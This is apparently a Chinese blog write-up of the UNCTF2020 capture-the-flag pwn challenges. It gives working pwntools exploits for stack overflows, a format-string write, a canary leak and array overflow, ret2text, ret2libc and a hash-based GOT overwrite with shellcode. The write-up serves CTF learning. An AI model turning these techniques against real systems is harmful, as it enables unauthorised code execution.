avatar

目录
UNCTF2020 Pwn Writeup

YLBNB

nc上就有flag

python
1
2
3
4
from pwn import *
p = remote('45.158.33.12',8000)
p.recvuntil('UNCTF')
print 'UNCTF'+p.recvuntil('}')

fan

  • 题目描述
  • 题目附件:fan
  • 考察点:栈溢出
  • 难度:签到

程序分析

ret2win

解题思路

python
1
2
3
4
5
offset = 56
payload = 'A'*offset
payload += p64(elf.sym['fantasy'])

sl(payload)

More

you can download full exp from my github

do_you_like_me?

  • 题目描述
  • 题目附件:dou
  • 考察点:栈溢出
  • 难度:签到

程序分析

和上一题一样,不知道为啥出俩

解题思路

python
1
2
3
4
5
6
7
sh = 0x4006CD

offset = 24
payload = 'A'*offset
payload += p64(sh)

sl(payload)

More

you can download full exp from my github

你真的会pwn嘛?

  • 题目描述
  • 题目附件:fmt
  • 考察点:格式化字符串漏洞
  • 难度:签到

程序分析

覆盖变量为非零值即可

解题思路

python
1
2
target = 0x60107C
sl('AAA%11$n'+p64(target))

More

you can download full exp from my github

pwngirl

  • 题目描述:

    无描述

  • 题目附件:pwngirl

  • 考察点:数组溢出

  • 难度:一般

程序分析

查保护方式:

Code
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

没开PIE,有canary

漏洞函数如下:

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
unsigned __int64 sub_4008E5()
{
__int64 v0; // rsi
int len; // [rsp+4h] [rbp-4Ch]
unsigned int i; // [rsp+8h] [rbp-48h]
int j; // [rsp+Ch] [rbp-44h]
int k; // [rsp+10h] [rbp-40h]
int v6; // [rsp+14h] [rbp-3Ch]
int guard; // [rsp+18h] [rbp-38h]
int v8; // [rsp+1Ch] [rbp-34h]
int base[10]; // [rsp+20h] [rbp-30h]
unsigned __int64 v10; // [rsp+48h] [rbp-8h]

v10 = __readfsqword(0x28u);
v6 = 0;
guard = 999;
puts("how many girlfriends do you have?");
__isoc99_scanf("%d", &len);
for ( i = 0; i < len; ++i )
{
printf("please input your %dth girlfriends:", i);
__isoc99_scanf("%d", &base[i]);
}
if ( guard != 999 )
exit(0);
v0 = len;
qsort(base, len, 4uLL, compar);
printf("this is the sort result:", v0);
for ( j = 0; j < len; ++j )
printf("%d ", base[j]);
puts("you can change your girlfriend");
__isoc99_scanf("%d", &len);
v8 = len;
if ( !len )
{
printf("which girlfriend do you want to change?", &len);
__isoc99_scanf("%d", &len);
for ( k = 0; k < len; ++k )
{
puts("now change:");
__isoc99_scanf("%lld", &base[k]);
}
}
if ( len <= 79 && len > 39 )
qsort(base, len, 4uLL, compar);
if ( len <= 100 && len > 80 )
qsort(base, len, 4uLL, compar);
if ( len <= 64 && len > 55 )
qsort(base, len, 4uLL, compar);
if ( len <= 100 )
{
if ( len <= 27 || len > 39 )
{
if ( len <= 26 )
qsort(base, len, 4uLL, compar);
}
else
{
qsort(base, len, 4uLL, compar);
}
}
else
{
qsort(base, len, 4uLL, compar);
}
return __readfsqword(0x28u) ^ v10;
}

其中base数组大小(girlfriends的数量)为10,但是获取girlfriends时,数量可以超过10,所以存在溢出。

第一次获取girlfriends后会调用qsort对girlfriends进行从大到小的排序(快排)随后会输出girlfriends的内容。

然后还可以change girlfriends对其中的内容进行修改,修改后仍然进行一次快排。

除此以外还有个后门:

c
1
2
3
4
int sub_400C04()
{
return system("/bin/sh");
}

解题思路

溢出可以覆盖返回地址,直接覆盖成后门即可。

但是快排之后我们覆盖的变量的顺序会乱,所以要控制变量大小。

题目中快排的size是4字节,但是canary占8字节,

不过canary的值是随机的,但是通过爆破可以得到两个负数。

可以通过输入-跳过scanf读数据,从而泄漏栈中的canary。

综上,第一次可获取15个girlfriends,布局如下:

python
1
2
3
4
5
6
7
8
sla('have?\n','15')
for i in range(10):
sla('girlfriends:','0') # padding
sla('girlfriends:','-') # canary part 1
sla('girlfriends:','-') # part 2
sla('girlfriends:','0') # rbp
sla('girlfriends:','0') # rbp
sla('girlfriends:',str(0x400c04)) # ret addr - backdoor

当canary两部分均为负数时,backdoor就能准确的覆盖到返回地址的位子上

还原canary:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ru('result:')
data = ru(' you can change your girlfriend\n').split()
tmp = [(eval(i)) for i in set(data)]
tmp.remove(0)
tmp.remove(0x400c04)

for i in tmp:
if i&0xff:
p1 = i
else:
p2 = i
print p1,p2
print hex(p1&0xffffffff),hex(p2&0xffffffff)

canary = u64(p32(p2&0xffffffff)+p32(p1&0xffffffff))
info_addr('canary')

随后change girlfriends只change13个,利用泄漏的canary还原canary:

python
1
2
3
4
5
6
sl('0') # enable change
sla('which girlfriend do you want to change?','13')
sla('now change:\n',str(p1&0xffffffff))
for i in range(11):
sla('now change:\n',str(p2&0xffffffff))
sla('now change:\n','-')

注意这里只有 p2 > p1 时才可以成功还原canary

More

you can download full exp from my github

原神 GenshinSimulator

  • 题目描述
  • 题目附件:GenshinSimulator
  • 考察点:ret2text
  • 难度:一般

程序分析

这题挺好玩儿。抽卡模拟器

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
欢迎使用原神抽卡模拟器!祝你好运~
请选择:[1]单抽 [2]十连 [3]结束抽卡
2
抽卡结果如下:
★★★ 神射手之誓
★★★ 沐浴龙血的剑
★★★★ 砂糖
★★★ 以理服人
★★★★ 雷泽
★★★ 沐浴龙血的剑
★★★★ 行秋
★★★★ 北斗
★★★★ 西风秘典
★★★★ 北斗
请选择:[1]单抽 [2]十连 [3]结束抽卡
1
抽卡结果如下:
★★★★ 笛剑
请选择:[1]单抽 [2]十连 [3]结束抽卡
3
恭喜你,一共抽到了5个4星角色、0个5星角色、4个3星武器、2个4星武器、0个5星武器!
请选择:[1]向好友炫耀 [2]退出
xxxbof

解题思路

可以十连抽,也可以单抽,抽卡结果在bss段。

退出时有个缓冲区溢出,程序中有system函数,没开PIE,因此直接控制抽三星卡的数量为0x3024,构造'$0',然后直接ret2text,执行system(“$0”)即可。

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
prdi = 0x0000000000400d13 # pop rdi ; ret

target = 0x3024 # $0

cnt = 0
while 1:
if target-cnt>9:
sla('[1]单抽 [2]十连 [3]结束抽卡\n','2')
else:
sla('[1]单抽 [2]十连 [3]结束抽卡\n','1')
ru('抽卡结果如下:\n')
data = ru('请选择')
for i in data.split('\n'):
if i[:10] == '\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85 ':
cnt += 1
print target - cnt
if target - cnt == 0:
break
if target - cnt < 0:
print 'try again'
exit()
print 'done'
print cnt

sla('[1]单抽 [2]十连 [3]结束抽卡\n','3')
sla('请选择:[1]向好友炫耀 [2]退出\n','1')
ru('请输入你的名字:\n')
context.log_level = 'debug'

offset = 56
payload = 'A'*offset
payload += p64(prdi+1)
payload += p64(prdi) + p64(0x602314)
payload += p64(elf.sym['system'])

sl(payload)

More

you can download full exp from my github

keer’s bug

  • 题目描述
  • 题目附件:keer
  • 考察点:?迷惑
  • 难度:一般

程序分析

c
1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[80]; // [rsp+0h] [rbp-50h]

memset(s, 0, 0x50uLL);
write(1, "Come on!! You can ri keer!!!\n", 0x1DuLL);
read(0, s, 0x70uLL);
return 0;
}

24字节栈溢出,也就是说ROP链只能有仨gadget。

解题思路

尝试栈迁移,感觉有点麻烦。于是利用read函数残留的参数,直接调用write,执行write(0,s,0x70);用于泄漏栈中变量,然后返回main。如此重复泄漏10次,可以得到ld中的_dl_init+139,由此可计算出libc基址。

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
offset = 88
payload = 'A'*offset
payload += p64(elf.sym['write'])
payload += p64(elf.sym['main'])

ru('Come on!! You can ri keer!!!\n')
stack = []
for i in range(10):
se(payload)
ru(payload)
stack.append(uu64(ru('Come on!! You can ri keer!!!\n')))
info_addr('stack[%d]'%i)

libcbase = stack[8]-0x3da80b
info_addr('libcbase')

然后ret2libc即可

python
1
2
3
4
5
6
7
8
9
system = libcbase + libc.sym['system']
binsh = libcbase + libc.search('/bin/sh').next()

offset = 88
payload = 'A'*offset
payload += p64(prdi) + p64(binsh)
payload += p64(system)

sl(payload)

More

you can download full exp from my github

ezheapy

  • 题目描述
  • 题目附件:ezheapy
  • 考察点:整数哈希
  • 难度:不会

程序分析

比赛时看见是heap就没做,赛后看了看。

作者自己写的hcalloc,用的是整数哈希,可分配一片权限是rwx的内存,并且可编辑其内容。

解题思路

先随便分配一块内存,写入shellcode。再分配一块内存,爆破哈希值到got表附近,由此可编辑got表为shellcode地址。

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def add(sz):
sla('5. Exit', '1')
sla('How big is your paste (bytes)?', str(sz))

def edit(idx,data):
sla('5. Exit', '2')
sla('What paste would you like to write to?', str(idx))
sla('Enter your input', data)

add(1024)
edit(0,asm(shellcraft.sh()))

add(0x4a15b) # hash(0x4a15b) == 0x80492eb == gotbase-0xbed
edit(1,'A'*0xbed+p64(0xdde6c400)*20) # hash(1024) == 0xdde6c400

爆破hash可以不是那么精准,只要能read覆盖到got表即可

可以忽略后三位进行爆破:

python
1
2
3
4
5
6
#!/usr/bin/python3
for i in range(0xffffffff):
tmp = (0x9e3779b1*i)&0xffffffff
print(hex(i),hex(tmp))
if tmp|0xfff == 0x8049ed8|0xfff:
input('next?')

More

you can download full exp from my github

文章作者: TaQini
文章链接: http://taqini.space/2020/11/15/unctf2020-wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TaQini
打赏
  • Wechat
    Wechat
  • Alipay
    Alipay

评论